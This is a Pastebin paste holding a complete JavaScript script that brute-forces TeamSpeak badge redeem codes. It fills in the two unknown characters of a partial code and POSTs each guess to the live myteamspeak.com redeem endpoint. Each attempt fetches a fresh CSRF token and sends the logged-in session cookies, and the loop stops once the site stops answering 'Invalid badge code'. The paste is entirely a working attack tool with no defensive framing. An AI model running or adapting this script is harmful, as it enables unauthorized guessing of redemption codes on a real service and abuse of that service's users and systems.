Advertisement
Guest User

Untitled

a guest
Feb 24th, 2020
83
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.42 KB | None | 0 0
  1. class BruteForce {
  2. constructor(code) {
  3. this.code = code
  4. this.chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
  5. this.url = "https://www.myteamspeak.com/userarea/badges/redeem"
  6. this.unknowns = code.split("").filter(s => s === "?").length
  7. this.count = Math.pow(this.chars.length, this.unknowns)
  8. this.checked = 0
  9. this.current = new Array(this.unknowns).fill(0)
  10. this.done = false
  11. this.found = false
  12. }
  13.  
  14. send(data) {
  15. return fetch(this.url, {
  16. method: "POST",
  17. credentials: "include",
  18. headers: { "Content-Type": "application/x-www-form-urlencoded" },
  19. body: BruteForce.encodeBody(data),
  20. })
  21. }
  22.  
  23. getCode(increment = false) {
  24. let str = this.code
  25. this.current.forEach(i => str = str.replace("?", this.chars[i]))
  26. if (!increment) return str
  27. this.checked++
  28. this.done = !this.current.reverse().some((c, i) => {
  29. return (c >= this.chars.length-1) ? (this.current[i] = 0, false) : (this.current[i]++, true)
  30. })
  31. this.current.reverse()
  32. return str
  33. }
  34.  
  35. async getToken() {
  36. const data = await fetch(this.url).then(res => res.text())
  37. const match = data.match(/<input\sname="_token"\stype="hidden"\svalue="(?<token>[a-z0-9]{40})">/i)
  38. if (!match) throw new Error("No valid Redeem Form token found!")
  39. return match.groups.token
  40. }
  41.  
  42. static encodeBody(data) {
  43. return Object.keys(data)
  44. .map(k => `${encodeURIComponent(k)}=${encodeURIComponent(data[k])}`)
  45. .join("&")
  46. }
  47.  
  48. async run() {
  49. if (this.done) return this.found
  50. while (!this.done) {
  51. const code = this.getCode(true)
  52. const res = await this.send({ _token: await this.getToken(), ts_redeem_code: code })
  53. if (res.status !== 200) {
  54. console.error(`returned with invalid status code! got ${res.status}!`)
  55. return false
  56. }
  57. if (this.checked % 10 === 0) console.log(`${this.checked}/${this.count} - ${(100/this.count*this.checked).toFixed(2)}% done`)
  58. if (!(/Invalid badge code/).test(await res.text())) {
  59. this.found = code
  60. return code
  61. }
  62. }
  63. return false
  64. }
  65. }
  66.  
  67. const bruteforce = new BruteForce("AHQH4TL7??")
  68. bruteforce.current = [0, 0]
  69. bruteforce.checked = 0
  70. ;(async () => {
  71. const result = await bruteforce.run()
  72. console.log("current", bruteforce.current)
  73. console.log("checked", bruteforce.checked)
  74. if (result) {
  75. console.log(`Possible token found: ${result}`)
  76. } else {
  77. console.log("No token found!")
  78. }
  79. })()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement